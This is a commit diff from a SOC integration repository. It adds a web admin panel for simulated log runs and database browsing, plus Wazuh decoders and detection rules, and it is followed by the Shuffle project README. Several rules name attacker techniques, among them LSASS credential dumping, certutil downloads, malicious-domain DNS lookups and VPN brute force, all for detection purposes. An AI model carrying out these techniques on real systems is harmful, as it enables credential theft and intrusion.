+    simScriptDescription() {
224
+      const key = String(this.simLogs.form.script || "").trim();
225
+      return SIM_SCRIPT_DESCRIPTIONS[key] || "No description available for this script.";
226
+    },
227
+
228
+    simTargetOptions() {
229
+      const key = String(this.simLogs.form.script || "").trim();
230
+      return SIM_SCRIPT_TARGET_OPTIONS[key] || ["all"];
231
+    },
232
+
233
+    simTargetSelectionChanged() {
234
+      const options = this.simTargetOptions();
235
+      const selected = Array.isArray(this.simLogs.form.targets) ? [...this.simLogs.form.targets] : [];
236
+      let valid = selected.filter((item) => options.includes(item));
237
+      if (valid.includes("all") && valid.length > 1) {
238
+        valid = ["all"];
239
+      }
240
+      if (!valid.length) {
241
+        valid = ["all"];
242
+      }
243
+      this.simLogs.form.targets = valid;
244
+    },
245
+
246
+    onSimScriptChange() {
247
+      this.simTargetSelectionChanged();
248
+    },
249
+
250
+    selectedTargetsForRun() {
251
+      const options = this.simTargetOptions();
252
+      let selected = Array.isArray(this.simLogs.form.targets) ? [...this.simLogs.form.targets] : [];
253
+      selected = selected.filter((item) => options.includes(item));
254
+      if (!selected.length || selected.includes("all")) {
255
+        return ["all"];
256
+      }
257
+      return selected;
258
+    },
259
+
189 260
     systemsStatusClass(status) {
190 261
       if (status === "ok") {
191 262
         return "status-ok";
@@ -279,6 +350,67 @@ window.socUi = function socUi() {
279 350
       }
280 351
     },
281 352
 
353
+    async loadDbTables() {
354
+      try {
355
+        if (!this.internalApiKey) {
356
+          return;
357
+        }
358
+        this.dbTables.loading = true;
359
+        this.dbTables.data = await this.apiCall("/monitor/db/tables", {
360
+          internal: true,
361
+        });
362
+        this.dbTables.lastRefreshAt = new Date().toISOString();
363
+        if (!this.dbBrowser.selectedTable) {
364
+          const tables = this.dbTableRows();
365
+          if (tables.length > 0) {
366
+            this.dbBrowser.selectedTable = String(tables[0].table || "");
367
+            await this.loadDbRows();
368
+          }
369
+        }
370
+      } catch (err) {
371
+        this.setErr("Database tables failed", err);
372
+      } finally {
373
+        this.dbTables.loading = false;
374
+      }
375
+    },
376
+
377
+    dbTableRows() {
378
+      const root = this.unwrapApiData(this.dbTables.data) || {};
379
+      const tables = Array.isArray(root.tables) ? root.tables : [];
380
+      return tables.map((row, index) => this.normalizeTableRow(row, index));
381
+    },
382
+
383
+    async loadDbRows() {
384
+      try {
385
+        const table = String(this.dbBrowser.selectedTable || "").trim();
386
+        if (!table) {
387
+          this.dbBrowser.rows = null;
388
+          return;
389
+        }
390
+        this.dbBrowser.loading = true;
391
+        const limit = Math.max(1, Math.min(500, Number(this.dbBrowser.limit || 50)));
392
+        const offset = Math.max(0, Number(this.dbBrowser.offset || 0));
393
+        this.dbBrowser.rows = await this.apiCall(
394
+          `/monitor/db/tables/${encodeURIComponent(table)}/rows?limit=${limit}&offset=${offset}`,
395
+          { internal: true },
396
+        );
397
+      } catch (err) {
398
+        this.setErr("Database rows failed", err);
399
+      } finally {
400
+        this.dbBrowser.loading = false;
401
+      }
402
+    },
403
+
404
+    dbSelectedRows() {
405
+      const root = this.unwrapApiData(this.dbBrowser.rows) || {};
406
+      const rows = Array.isArray(root.rows) ? root.rows : [];
407
+      return rows.map((row, index) => this.normalizeTableRow(row, index));
408
+    },
409
+
410
+    dbSelectedColumns() {
411
+      return this.tableColumns(this.dbSelectedRows());
412
+    },
413
+
282 414
     async loadSimRuns() {
283 415
       try {
284 416
         if (!this.internalApiKey) {
@@ -299,21 +431,37 @@ window.socUi = function socUi() {
299 431
 
300 432
     async startSimRun() {
301 433
       try {
302
-        const payload = {
303
-          script: this.simLogs.form.script,
304
-          target: this.simLogs.form.target || "all",
305
-          scenario: this.simLogs.form.scenario || "all",
306
-          count: Number(this.simLogs.form.count || 1),
307
-          delay_seconds: Number(this.simLogs.form.delay_seconds || 0.3),
308
-          forever: Boolean(this.simLogs.form.forever),
434
+        const targets = this.selectedTargetsForRun();
435
+        const results = [];
436
+        for (const target of targets) {
437
+          const payload = {
438
+            script: this.simLogs.form.script,
439
+            target,
440
+            scenario: this.simLogs.form.scenario || "all",
441
+            count: Number(this.simLogs.form.count || 1),
442
+            delay_seconds: Number(this.simLogs.form.delay_seconds || 0.3),
443
+            forever: Boolean(this.simLogs.form.forever),
444
+          };
445
+          const result = await this.apiCall("/sim/logs/start", {
446
+            method: "POST",
447
+            internal: true,
448
+            json: payload,
449
+          });
450
+          results.push({ target, result });
451
+        }
452
+        this.simLogs.startResult = {
453
+          data: {
454
+            started_targets: targets,
455
+            runs: results.map((item) => ({
456
+              target: item.target,
457
+              run: this.unwrapApiData(item.result)?.run || null,
458
+            })),
459
+          },
309 460
         };
310
-        this.simLogs.startResult = await this.apiCall("/sim/logs/start", {
311
-          method: "POST",
312
-          internal: true,
313
-          json: payload,
314
-        });
315 461
         await this.loadSimRuns();
316
-        const started = this.unwrapApiData(this.simLogs.startResult)?.run;
462
+        const started = results
463
+          .map((item) => this.unwrapApiData(item.result)?.run)
464
+          .find((run) => run && run.run_id);
317 465
         if (started && started.run_id) {
318 466
           this.simLogs.selectedRunId = started.run_id;
319 467
           await this.loadSimOutput(started.run_id);

+ 104 - 6
soc-integrator/app/ui/index.html

@@ -6,8 +6,8 @@
6 6
     <title>SOC Integrator Admin</title>
7 7
     <script src="https://cdn.tailwindcss.com"></script>
8 8
     <script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
9
-    <link rel="stylesheet" href="/ui/assets/styles.css?v=20260303-17" />
10
-    <script src="/ui/assets/app.js?v=20260303-17"></script>
9
+    <link rel="stylesheet" href="/ui/assets/styles.css?v=20260304-04" />
10
+    <script src="/ui/assets/app.js?v=20260304-04"></script>
11 11
   </head>
12 12
   <body class="bg-slate-100 text-slate-800" x-data="socUi()" x-init="init()">
13 13
     <div class="mx-auto w-full max-w-none px-3 py-4 md:px-5 md:py-6">
@@ -132,7 +132,7 @@
132 132
               <div class="grid gap-3 md:grid-cols-3 lg:grid-cols-6">
133 133
                 <label class="text-sm">
134 134
                   <span class="input-label">Script</span>
135
-                  <select class="input" x-model="simLogs.form.script">
135
+                  <select class="input" x-model="simLogs.form.script" @change="onSimScriptChange()">
136 136
                     <option value="fortigate">fortigate</option>
137 137
                     <option value="endpoint">endpoint</option>
138 138
                     <option value="cisco">cisco</option>
@@ -141,10 +141,20 @@
141 141
                     <option value="proposal_appendix_c">proposal_appendix_c</option>
142 142
                     <option value="wazuh_test">wazuh_test</option>
143 143
                   </select>
144
+                  <div class="mt-1 text-xs text-slate-500" x-text="simScriptDescription()"></div>
144 145
                 </label>
145
-                <label class="text-sm">
146
-                  <span class="input-label">Target</span>
147
-                  <input class="input" x-model="simLogs.form.target" placeholder="all" />
146
+                <label class="text-sm md:col-span-2">
147
+                  <span class="input-label">Target (multi-select)</span>
148
+                  <div class="rounded-md border border-slate-200 bg-white p-2">
149
+                    <div class="grid grid-cols-2 gap-2">
150
+                      <template x-for="option in simTargetOptions()" :key="`target-${option}`">
151
+                        <label class="inline-flex items-center gap-2 text-xs text-slate-700">
152
+                          <input type="checkbox" class="h-4 w-4" :value="option" x-model="simLogs.form.targets" @change="simTargetSelectionChanged()" />
153
+                          <span x-text="option"></span>
154
+                        </label>
155
+                      </template>
156
+                    </div>
157
+                  </div>
148 158
                 </label>
149 159
                 <label class="text-sm" x-show="simScriptUsesScenario()">
150 160
                   <span class="input-label">Scenario</span>
@@ -308,6 +318,42 @@
308 318
               </div>
309 319
             </div>
310 320
 
321
+            <div class="panel-block">
322
+              <div class="mb-2 flex flex-wrap items-center gap-2">
323
+                <h3 class="panel-subtitle mb-0">Database Tables</h3>
324
+                <button class="btn btn-primary" @click="loadDbTables()">Refresh Tables</button>
325
+                <span class="text-xs text-slate-500" x-text="dbTables.loading ? 'Loading...' : 'Idle'"></span>
326
+                <span class="text-xs text-slate-500" x-text="dbTables.lastRefreshAt ? `Last refresh: ${dbTables.lastRefreshAt}` : 'Not refreshed yet'"></span>
327
+              </div>
328
+              <div class="table-wrap mt-2" x-show="dbTableRows().length">
329
+                <table class="data-table">
330
+                  <thead>
331
+                    <tr>
332
+                      <th>schema</th>
333
+                      <th>table</th>
334
+                      <th>row_count</th>
335
+                      <th>estimated_rows</th>
336
+                      <th>size_pretty</th>
337
+                      <th>size_bytes</th>
338
+                    </tr>
339
+                  </thead>
340
+                  <tbody>
341
+                    <template x-for="(row, idx) in dbTableRows()" :key="idx">
342
+                      <tr>
343
+                        <td x-text="cellText(row.schema)"></td>
344
+                        <td x-text="cellText(row.table)"></td>
345
+                        <td x-text="cellText(row.row_count)"></td>
346
+                        <td x-text="cellText(row.estimated_rows)"></td>
347
+                        <td x-text="cellText(row.size_pretty)"></td>
348
+                        <td x-text="cellText(row.size_bytes)"></td>
349
+                      </tr>
350
+                    </template>
351
+                  </tbody>
352
+                </table>
353
+              </div>
354
+              <div class="text-xs text-slate-500" x-show="!dbTableRows().length">No database table data</div>
355
+            </div>
356
+
311 357
             <div class="grid gap-3 lg:grid-cols-2">
312 358
               <template x-for="meta in systemsCardMeta" :key="`table-${meta.key}`">
313 359
                 <div class="panel-block">
@@ -338,6 +384,58 @@
338 384
             </div>
339 385
           </section>
340 386
 
387
+          <section x-show="activeTab === 'database'" x-cloak class="admin-card space-y-4">
388
+            <div class="panel-block">
389
+              <div class="mb-2 flex flex-wrap items-center gap-2">
390
+                <h3 class="panel-subtitle mb-0">Database Table Browser</h3>
391
+                <button class="btn btn-primary" @click="loadDbTables()">Refresh Tables</button>
392
+                <button class="btn btn-neutral" @click="loadDbRows()">Load Rows</button>
393
+                <span class="text-xs text-slate-500" x-text="dbBrowser.loading ? 'Loading rows...' : 'Idle'"></span>
394
+              </div>
395
+              <div class="grid gap-3 md:grid-cols-4">
396
+                <label class="text-sm md:col-span-2">
397
+                  <span class="input-label">Table</span>
398
+                  <select class="input" x-model="dbBrowser.selectedTable">
399
+                    <option value="">Select table</option>
400
+                    <template x-for="(row, idx) in dbTableRows()" :key="`db-table-${idx}`">
401
+                      <option :value="row.table" x-text="`${row.schema}.${row.table}`"></option>
402
+                    </template>
403
+                  </select>
404
+                </label>
405
+                <label class="text-sm">
406
+                  <span class="input-label">Limit</span>
407
+                  <input class="input" type="number" min="1" max="500" x-model.number="dbBrowser.limit" />
408
+                </label>
409
+                <label class="text-sm">
410
+                  <span class="input-label">Offset</span>
411
+                  <input class="input" type="number" min="0" x-model.number="dbBrowser.offset" />
412
+                </label>
413
+              </div>
414
+              <pre class="json-box mt-2" x-text="pretty(dbBrowser.rows)"></pre>
415
+              <div class="table-wrap mt-2" x-show="dbSelectedRows().length">
416
+                <table class="data-table">
417
+                  <thead>
418
+                    <tr>
419
+                      <template x-for="col in dbSelectedColumns()" :key="col">
420
+                        <th x-text="col"></th>
421
+                      </template>
422
+                    </tr>
423
+                  </thead>
424
+                  <tbody>
425
+                    <template x-for="(row, idx) in dbSelectedRows()" :key="`db-row-${idx}`">
426
+                      <tr>
427
+                        <template x-for="col in dbSelectedColumns()" :key="col">
428
+                          <td x-text="cellText(row[col])"></td>
429
+                        </template>
430
+                      </tr>
431
+                    </template>
432
+                  </tbody>
433
+                </table>
434
+              </div>
435
+              <div class="text-xs text-slate-500" x-show="!dbSelectedRows().length">No rows loaded</div>
436
+            </div>
437
+          </section>
438
+
341 439
           <section x-show="activeTab === 'monitoring'" x-cloak class="admin-card space-y-4">
342 440
             <div class="panel-block">
343 441
               <div class="mb-2 flex flex-wrap items-center gap-2">

+ 25 - 2
wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml

@@ -1,2 +1,25 @@
1
-<decoders>
2
-</decoders>
1
+<!-- SOC MVP local decoders (minimal production-safe set) -->
2
+
3
+<decoder name="soc-kv-base">
4
+  <prematch>soc_mvp_test=true</prematch>
5
+</decoder>
6
+
7
+<decoder name="soc-dns-ioc">
8
+  <parent>soc-kv-base</parent>
9
+  <prematch>source=dns</prematch>
10
+</decoder>
11
+
12
+<decoder name="soc-vmware-auth">
13
+  <parent>soc-kv-base</parent>
14
+  <prematch>source=vmware</prematch>
15
+</decoder>
16
+
17
+<decoder name="soc-log-monitor">
18
+  <parent>soc-kv-base</parent>
19
+  <prematch>source=log_monitor</prematch>
20
+</decoder>
21
+
22
+<decoder name="soc-windows-sysmon">
23
+  <parent>soc-kv-base</parent>
24
+  <prematch>source=windows_sysmon</prematch>
25
+</decoder>

+ 201 - 0
wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml

@@ -107,4 +107,205 @@
107 107
   <rule id="100522" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-02</match><description>C3-02 SMB/RDP Lateral Burst Pattern</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
108 108
   <rule id="100523" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-03</match><description>C3-03 Admin Account Accessing Many Servers Rapidly</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
109 109
   <rule id="100524" level="8"><if_sid>100230</if_sid><match>usecase_id=C3-04</match><description>C3-04 Internal Scanning / Enumeration Behavior</description><group>soc_mvp_test,appendix_c,c3,recon,</group></rule>
110
+  <!-- ========================= -->
111
+  <!-- Production profile rules -->
112
+  <!-- ========================= -->
113
+  <!--
114
+    Production profile (second profile):
115
+    - Does not depend on simulation marker fields (soc_mvp_test/usecase_id)
116
+    - Uses source-like patterns that can appear in real logs
117
+    - Rule IDs are separated from simulation profile in 110xxx range
118
+  -->
119
+
120
+  <rule id="110200" level="3">
121
+    <description>SOC MVP production profile enabled</description>
122
+    <group>soc_mvp_prod,baseline,</group>
123
+  </rule>
124
+
125
+  <!-- Appendix A1: DNS / Firewall IOC -->
126
+  <rule id="110301" level="8">
127
+    <decoded_as>soc-dns-ioc</decoded_as>
128
+    <match>event_type=ioc_dns_traffic</match>
129
+    <match>malicious.example</match>
130
+    <description>A1 production: DNS query to malicious domain indicator</description>
131
+    <group>soc_mvp_prod,appendix_a,a1,ioc,dns,</group>
132
+  </rule>
133
+  <rule id="110302" level="8">
134
+    <decoded_as>soc-dns-ioc</decoded_as>
135
+    <match>event_type=ioc_domain_match</match>
136
+    <description>A1 production: DNS IOC domain match event</description>
137
+    <group>soc_mvp_prod,appendix_a,a1,ioc,dns,</group>
138
+  </rule>
139
+
140
+  <!-- Appendix A2: FortiGate IPS/IDS & Firewall -->
141
+  <rule id="110311" level="12">
142
+    <match>vendor=fortinet</match>
143
+    <match>dstport=3389</match>
144
+    <match>action="accept"</match>
145
+    <description>A2 production: FortiGate allowed RDP traffic detected</description>
146
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
147
+  </rule>
148
+  <rule id="110312" level="12">
149
+    <match>vendor=fortinet</match>
150
+    <match>action="password-change"</match>
151
+    <description>A2 production: FortiGate admin password change</description>
152
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
153
+  </rule>
154
+  <rule id="110313" level="12">
155
+    <match>vendor=fortinet</match>
156
+    <match>action="create-admin"</match>
157
+    <description>A2 production: FortiGate admin account creation</description>
158
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
159
+  </rule>
160
+  <rule id="110314" level="12">
161
+    <match>vendor=fortinet</match>
162
+    <match>action="disable-email-notification"</match>
163
+    <description>A2 production: FortiGate email notification disabled</description>
164
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
165
+  </rule>
166
+  <rule id="110315" level="5">
167
+    <match>vendor=fortinet</match>
168
+    <match>action="download-config"</match>
169
+    <description>A2 production: FortiGate configuration download</description>
170
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
171
+  </rule>
172
+  <rule id="110316" level="8">
173
+    <match>vendor=fortinet</match>
174
+    <match>subtype="ips"</match>
175
+    <match>severity="critical"</match>
176
+    <description>A2 production: FortiGate critical IPS alert</description>
177
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,ips,</group>
178
+  </rule>
179
+  <rule id="110317" level="5">
180
+    <match>vendor=fortinet</match>
181
+    <match>event_type=port_scan</match>
182
+    <description>A2 production: FortiGate port scanning indicator</description>
183
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,recon,</group>
184
+  </rule>
185
+  <rule id="110318" level="8">
186
+    <match>vendor=fortinet</match>
187
+    <match>event_type=ioc_detection</match>
188
+    <description>A2 production: FortiGate IOC detection event</description>
189
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,ioc,</group>
190
+  </rule>
191
+  <rule id="110320" level="8">
192
+    <match>vendor=fortinet</match>
193
+    <match>event_type=malicious_ip_communication</match>
194
+    <description>A2 production: Communication to malicious IP detected</description>
195
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,ioc,</group>
196
+  </rule>
197
+
198
+  <!-- Appendix A3: FortiGate VPN -->
199
+  <rule id="110331" level="12">
200
+    <match>subtype="vpn"</match>
201
+    <match>success=true</match>
202
+    <match>guest</match>
203
+    <description>A3 production: VPN success by guest account</description>
204
+    <group>soc_mvp_prod,appendix_a,a3,vpn,</group>
205
+  </rule>
206
+  <rule id="110333" level="12">
207
+    <match>subtype="vpn"</match>
208
+    <match>event_type=vpn_bruteforce_success</match>
209
+    <description>A3 production: VPN brute-force success indicator</description>
210
+    <group>soc_mvp_prod,appendix_a,a3,vpn,</group>
211
+  </rule>
212
+  <rule id="110335" level="12">
213
+    <match>subtype="vpn"</match>
214
+    <match>success=true</match>
215
+    <match>country=</match>
216
+    <description>A3 production: VPN success with country context (geo-anomaly candidate)</description>
217
+    <group>soc_mvp_prod,appendix_a,a3,vpn,geo,</group>
218
+  </rule>
219
+
220
+  <!-- Appendix A4: Windows / Active Directory -->
221
+  <rule id="110341" level="8">
222
+    <match>source=windows</match>
223
+    <match>event_id=4625</match>
224
+    <match>is_admin=true</match>
225
+    <description>A4 production: Privileged account authentication failures</description>
226
+    <group>soc_mvp_prod,appendix_a,a4,windows,auth_fail,</group>
227
+  </rule>
228
+  <rule id="110342" level="8">
229
+    <match>source=windows</match>
230
+    <match>event_id=4625</match>
231
+    <match>is_service=true</match>
232
+    <description>A4 production: Service account authentication failures</description>
233
+    <group>soc_mvp_prod,appendix_a,a4,windows,auth_fail,</group>
234
+  </rule>
235
+  <rule id="110346" level="12">
236
+    <match>source=windows</match>
237
+    <match>event_id=4624</match>
238
+    <match>src_ip=</match>
239
+    <description>A4 production: Windows successful authentication with source IP context</description>
240
+    <group>soc_mvp_prod,appendix_a,a4,windows,auth_success,</group>
241
+  </rule>
242
+  <rule id="110352" level="12">
243
+    <match>source=windows</match>
244
+    <match>event_id=4728</match>
245
+    <match>target_group=</match>
246
+    <description>A4 production: Account added to privileged group (domain scope)</description>
247
+    <group>soc_mvp_prod,appendix_a,a4,windows,privilege,</group>
248
+  </rule>
249
+  <rule id="110353" level="12">
250
+    <match>source=windows</match>
251
+    <match>event_id=4732</match>
252
+    <match>target_group=</match>
253
+    <description>A4 production: Account added to privileged group (local scope)</description>
254
+    <group>soc_mvp_prod,appendix_a,a4,windows,privilege,</group>
255
+  </rule>
256
+
257
+  <!-- Appendix B1: VMware -->
258
+  <rule id="110401" level="12">
259
+    <decoded_as>soc-vmware-auth</decoded_as>
260
+    <match>event_type=vmware_</match>
261
+    <match>_fail_success</match>
262
+    <description>B1 production: vCenter login burst pattern</description>
263
+    <group>soc_mvp_prod,appendix_b,b1,vmware,</group>
264
+  </rule>
265
+  <rule id="110402" level="8">
266
+    <decoded_as>soc-vmware-auth</decoded_as>
267
+    <match>event_type=vmware_esxi_enable_ssh</match>
268
+    <description>B1 production: ESXi SSH enabled</description>
269
+    <group>soc_mvp_prod,appendix_b,b1,vmware,</group>
270
+  </rule>
271
+
272
+  <!-- Appendix B2: Log monitoring -->
273
+  <rule id="110411" level="5">
274
+    <decoded_as>soc-log-monitor</decoded_as>
275
+    <match>event_type=log_loss_detection</match>
276
+    <match>missing_stream=</match>
277
+    <description>B2 production: Log loss detection signal</description>
278
+    <group>soc_mvp_prod,appendix_b,b2,logmonitor,</group>
279
+  </rule>
280
+
281
+  <!-- Appendix B3: Sysmon -->
282
+  <rule id="110421" level="12">
283
+    <decoded_as>soc-windows-sysmon</decoded_as>
284
+    <match>target_process=lsass.exe</match>
285
+    <description>B3 production: LSASS dump behavior</description>
286
+    <group>soc_mvp_prod,appendix_b,b3,sysmon,credential_access,</group>
287
+  </rule>
288
+  <rule id="110426" level="8">
289
+    <decoded_as>soc-windows-sysmon</decoded_as>
290
+    <match>process=certutil.exe</match>
291
+    <description>B3 production: CertUtil download pattern</description>
292
+    <group>soc_mvp_prod,appendix_b,b3,sysmon,</group>
293
+  </rule>
294
+
295
+  <!-- Appendix C1-C3: future enhancement (production-prep heuristics) -->
296
+  <rule id="110501" level="12">
297
+    <match>event_type=c1_impossible_travel</match>
298
+    <description>C1 production: Impossible travel correlated event</description>
299
+    <group>soc_mvp_prod,appendix_c,c1,identity,</group>
300
+  </rule>
301
+  <rule id="110511" level="12">
302
+    <match>event_type=c2_credential_abuse</match>
303
+    <description>C2 production: Credential abuse correlated event</description>
304
+    <group>soc_mvp_prod,appendix_c,c2,identity,</group>
305
+  </rule>
306
+  <rule id="110521" level="12">
307
+    <match>event_type=c3_lateral_movement</match>
308
+    <description>C3 production: Lateral movement correlated event</description>
309
+    <group>soc_mvp_prod,appendix_c,c3,lateral_movement,</group>
310
+  </rule>
110 311
 </group>

+ 1 - 0
wazuh-docker/single-node/docker-compose.yml

@@ -42,6 +42,7 @@ services:
42 42
       - ./config/wazuh_indexer_ssl_certs/wazuh.manager.pem:/etc/ssl/filebeat.pem
43 43
       - ./config/wazuh_indexer_ssl_certs/wazuh.manager-key.pem:/etc/ssl/filebeat.key
44 44
       - ./config/wazuh_cluster/wazuh_manager.conf:/var/ossec/etc/ossec.conf
45
+      - ./config/wazuh_cluster/local_decoder.xml:/var/ossec/etc/decoders/local_decoder.xml
45 46
       - ./config/wazuh_cluster/local_rules.xml:/var/ossec/etc/rules/local_rules.xml
46 47
 
47 48
   wazuh.indexer:

tum/soc - Gogs: Simplico Git Service

Sin descripción

README.md 6.4KB

Shuffle Logo

Shuffle Automation

<p>Deploy<p/>
<a
href="https://console.cloud.google.com/marketplace/product/shuffle-public/shuffle"
target="_blank"
style="text-decoration: none; display: flex; align-items: center; gap: 8px;"
<img
  src="https://upload.wikimedia.org/wikipedia/commons/5/51/Google_Cloud_logo.svg"
  height="20"
  alt="Google Cloud Platform"
/>

Shuffle is an open source automation platform, built for and by the security professionals. Security operations is complex, but it doesn't have to be. Built to work well with MSSP's and other service providers in mind.

Get training Key FeaturesCommunity & Support Get training - DocumentationGetting StartedDevelopment Set up a demo call

Follow us on Twitter at @shuffleio.

Example Shuffle webhook integration

Deployment

Shuffle can be deployed using the following cloud marketplaces:

Try it

Please consider sponsoring the project if you want to see more rapid development.

Support

Blogposts

Documentation

Documentation can be found on https://shuffler.io/docs and is written here: https://github.com/shuffle/shuffle-docs.

Setting up a local development environment

Please follow the steps mentioned here!

Related repositories

Features

  • Simple, feature rich workflow editor
  • App creator using OpenAPI
  • Premade apps for your security tools
  • Organization and sub-organization control
  • Hybrid resource sharing with shuffler.io (optional)

Website

https://shuffler.io

Contributing

We want to make the world of cybersecurity more accessible and need all the help we can get. Send an email to support@shuffler and we'll make sure to give you any training you may need.

These are the main areas to contribute in:

  • Frontend (ReactJS)
  • Backend (Golang)
  • App Creation (Python & GUI w/OpenAPI)
  • Documentation (Markdown)
  • Workflow creation (GUI & Conceptualizing)
  • Content Creation (Blogs, videos etc)

Contributing guidelines are outlined here.

Contributors

ICPL logo

Shuffle

App magicians

License

All modular information related to Shuffle will be under MIT (anyone can use it for whatever purpose), with Shuffle itself using AGPLv3.

Workflows: MIT Documentation: MIT Shuffle backend: AGPLv3 Apps, specification and App SDK: MIT

Architecture

Shuffle Architecture

Security Contributors: Hall of Fame

Pushpraj - Reported several issues between July and August 2024

Repository overview

Below is the folder structure with a short explanation

├── README.md				# What you're reading right now
├── backend					# Contains backend related code.
│   ├── go-app 			# The backend golang webserver
│   └── app_sdk			# The SDK used for apps
├── frontend				# Contains frontend code. ReactJS, Material UI and cytoscape
├── functions				# Has execution and extension resources, such as the Wazuh integration
│   ├── onprem				# Code for onprem solutions
│   │   ├── Orborus 	# Distributes execution locations
│   │   ├── Worker		# Runs a workflow
└ docker-compose.yml 	# Used for deployments

Get in touch, send a mail to frikky@shuffler.io or poke me on twitter @frikkylikeme